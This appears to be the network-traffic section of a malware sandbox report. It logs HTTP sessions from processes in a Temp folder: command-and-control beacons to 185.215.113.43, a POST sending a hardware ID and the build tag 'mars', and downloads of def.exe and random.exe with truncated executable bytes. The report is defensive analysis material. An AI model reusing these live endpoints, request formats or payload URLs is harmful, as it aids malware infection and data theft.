Nov 13, 2024 18:09:32.857374907 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:33.888288975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50159	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:35.581976891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:36.490874052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50160	185.215.113.206	80	6424	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:35.761729956 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:09:36.694829941 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:09:36.697249889 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="build"mars------HIIIDAKKJJJKKECAKKJE--
Nov 13, 2024 18:09:36.983016014 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50163	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:38.030828953 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:38.944890022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50164	185.215.113.16	80	8592	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:38.261285067 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 13, 2024 18:09:39.155853987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:39 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 13 Nov 2024 17:09:30 GMT Connection: keep-alive ETag: "6734dd4a-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 2b ae 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,++`Ui` @ @.rsrc`2@.idata 8@wsxwebhb ++:@aiwbowsq +N+@.taggant@+"R+@
Nov 13, 2024 18:09:39.155867100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155874968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155884027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155893087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155900002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155908108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:39.155915976 CET	1236	IN	Data Raw: 4b bd dc 77 53 e0 d9 20 ea 91 df b8 d9 c3 31 26 56 14 0b 16 8d fe 3b d6 a6 53 1a 39 24 1e 6a 4a f2 c9 40 99 20 38 2b 55 42 10 11 10 71 fa 89 36 3d 52 fe 26 f9 4f d9 d2 eb f8 d2 d4 3b 4a 65 4b 31 47 ae 76 53 44 a2 8e 97 a3 fc d0 e5 a1 d2 c7 a8 68 Data Ascii: KwS 1&V;S9$jJ@ 8+UBq6=R&O;JeK1GvSDhUx6a#ULvI5<I>:GWDno%(^l%zqK0?B"BfHG\|I$a\E#0QZ"6?ASvrLG\|
Nov 13, 2024 18:09:39.155925035 CET	1236	IN	Data Raw: 47 bc c7 70 1f bc f3 1c 56 71 7c 2f d4 a9 c5 a9 ac b1 a9 14 5b fe 1b 19 9d c4 10 60 3f 89 a3 77 ad b1 e3 16 4b e9 ef 7d 4e be 2d f7 3e bc 07 76 ad dd c7 68 5b 85 17 2a 81 20 0e 54 b7 a9 5b 30 5d a8 43 b3 d3 3d a9 fe 3e c9 c8 77 6d 98 23 c7 64 01 Data Ascii: GpVq\|/[`?wK}N->vh[* T[0]C=>wm#dx[sS0-K%Z<-u;^@qot\|U]?9=)Fy463.j^O' .2'wQp0F9l`=RZd1:C>E77k
Nov 13, 2024 18:09:39.155934095 CET	1236	IN	Data Raw: fd a7 ac 61 59 81 c7 4d fa e4 77 75 e2 65 ab ab ef be c1 68 af 4c 10 c1 d2 db ea 59 80 61 01 da 88 a4 f5 67 e1 c0 e6 3b bc da 80 4d cd 9f e0 f1 fc 49 00 86 df ee 34 5b 3d b9 25 5b 8c de 17 b5 64 4c 08 29 3b da 33 7f ee 17 40 76 77 2c cd cc 29 6b Data Ascii: aYMwuehLYag;MI4[=%[dL);3@vw,)kNFS7Sj=j"2?i$4FVL^>SD3vOu-tWL*evbWv!5W\@Q,-x^Z3{AY+aOGGB@ftnxH;I
Nov 13, 2024 18:09:39.161042929 CET	1120	IN	Data Raw: f6 84 bc c4 c4 95 da 34 c1 21 d1 3b 08 b5 e1 17 d1 4c aa b7 d0 95 07 48 dc b7 8b 40 de 44 bf 27 d1 45 32 62 ac 98 51 0c 5a 60 8f 51 f0 0e f9 a9 b5 03 0c 7b fe ef ff 38 ad bf b1 8b 97 d8 0b 62 e7 e2 39 7d 81 de 04 e9 2c 9c de 07 1d ea 0a bd 8c 61 Data Ascii: 4!;LH@D'E2bQZ`Q{8b9},a1F7E/$Qe&H>z2rN(C'BzG)3&NEjOFufq;%ygdz9C#JkOc>1]u4X(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50166	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:40.732878923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:41.714194059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50169	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:43.234033108 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:44.140187025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50170	185.215.113.16	80	8116	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:43.815613985 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50171	185.215.113.16	80	8116	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:44.154947042 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 13, 2024 18:09:45.074745893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:44 GMT Content-Type: application/octet-stream Content-Length: 1784832 Last-Modified: Wed, 13 Nov 2024 17:05:35 GMT Connection: keep-alive ETag: "6734dc5f-1b3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 a2 08 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@h@M$a$ $b@.rsrc $r@.idata $r@ *$t@yumhawtmNv@fluclfuhh@.taggant0h"@
Nov 13, 2024 18:09:45.074799061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:45.074831009 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:45.074866056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:45.074899912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:45.074928999 CET	224	IN	Data Raw: b1 4a a6 21 73 52 10 f6 aa 6d ec 79 3a 88 35 24 77 ba a1 dc 1a ac 02 d4 52 9a 8e fa 51 aa 2c ee 22 a2 7b 02 2b 9a d3 d6 a8 a2 67 e4 82 ca a5 cf 19 94 61 af 27 de d8 54 0b d6 78 b4 0a e7 01 c7 6f ae 92 67 70 ed f9 e7 09 a1 9d d7 78 5e b0 2d 08 a8 Data Ascii: J!sRmy:5$wRQ,"{+ga'Txogpx^-"oZ!q,4&_[Neh9>BS.BqF\|zLqwe<X^z7&i' v$/WRH"N&9Q
Nov 13, 2024 18:09:45.074961901 CET	1236	IN	Data Raw: 57 9b c8 ce 22 5a b8 91 3a ec a6 0a 0c 95 5a 32 2e 1b cd b2 0a 69 b5 10 6e be 3f c1 ad 81 6f a2 80 10 c1 db b2 a0 c6 eb 73 12 e7 79 3d 35 9f 6b 0b 90 5f 04 25 79 b8 c3 7d 0a 78 d2 1c 85 d5 7f a9 a6 37 5f 2a 9d 36 d0 4a e1 86 26 29 17 36 05 91 22 Data Ascii: W"Z:Z2.in?osy=5k_%y}x7_*6J&)6"b}b&DJAUG!aR;<N\+XBTF#&/kY/U:/xAsFjK7`{`bRkcxa_{"bub+c5#`P"FoD+dYB
Nov 13, 2024 18:09:45.074995995 CET	1236	IN	Data Raw: 90 4d 22 30 b5 ae fd e4 56 4d 67 d0 3c 11 92 c1 77 db fc 60 87 a3 e8 43 b4 22 6a 9b 95 ba e7 e5 94 6b aa 5a c8 fd 45 67 10 94 31 5f d7 50 b3 63 a4 10 42 ae 2b 9b fd 8e 32 fe 75 48 32 63 ff 10 a7 13 3d 26 6e c4 e0 4f 5b 13 aa 82 ae 0f b5 40 e3 a5 Data Ascii: M"0VMg<w`C"jkZEg1_PcB+2uH2c=&nO[@BcWRA%+R@+:M}`#w1l3T!2scD5t+EaBh^G^l'4R~}$yQoT ]$JXZr5e#Jx
Nov 13, 2024 18:09:45.075030088 CET	1236	IN	Data Raw: 3d 56 ea c6 4c ec ae 1d fc a3 87 b4 51 04 b7 26 bf 9b 5b 67 3d d6 a8 7f f2 50 ac df 74 96 b6 0d 77 66 3f 00 a7 37 20 0b 61 c0 8b 23 2e 96 22 e6 1d 27 51 7a 64 54 5a 83 30 be bf 2a 7f 73 71 aa 22 ba ea d9 d0 da 32 d6 22 9e 40 25 46 ea 09 69 d1 5a Data Ascii: =VLQ&[g=Ptwf?7 a#."'QzdTZ0sq"2"@%FiZji5MQNb`^n^On 5P PZFjSh$#Au>b[]s+l"6Bz2P.u &,jf6#jUR O6j pb^
Nov 13, 2024 18:09:45.075064898 CET	1236	IN	Data Raw: be a2 92 5b 49 a4 aa a6 aa ee f4 16 2b 7e c5 28 63 a6 4a d4 21 96 a0 ff 6e a7 eb 65 eb 9f bd e8 17 94 1a f1 9a 9a 75 e9 0a 54 98 23 3b 16 a9 2a 61 a6 f8 ec ac 82 a4 22 93 70 c6 cf a6 9a b0 6a 74 1a 99 5a 22 3e 42 e2 69 97 c6 6e 2a a4 76 22 a3 73 Data Ascii: [I+~(cJ!neuT#;a"pjtZ">Binv"s\d PVh!"tAuK\oQned PrQJ; b6oPF6pit5Z*bo3=L:hoOT,",sp~BDSqg01RBaeJb##ni#J
Nov 13, 2024 18:09:45.080568075 CET	1236	IN	Data Raw: 75 12 41 02 68 64 98 00 3a a0 b5 d4 96 ad 9b 80 c9 9c d2 20 21 1e aa 12 ac 1b 97 16 96 f2 18 d4 c2 9a 92 22 a9 9f 36 56 4c 62 7a d4 de 16 ea 7e 5a c5 e6 e6 af 4a 36 20 fb 7a a6 20 4c b3 c1 65 46 35 8e 80 3c 47 a6 69 04 18 98 a6 2a f7 ee fe 2a a4 Data Ascii: uAhd: !"6VLbz~ZJ6 z LeF5<Gi**#pw.E+>OP<r.eZh3k-#S(~6hGUWJbmX)$P!fZZNkzlj' 5#w><Z~ Pzf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50172	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:45.808252096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:46.729126930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50173	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:48.451200008 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:49.348547935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50174	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:50.963426113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:51.862154007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50180	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
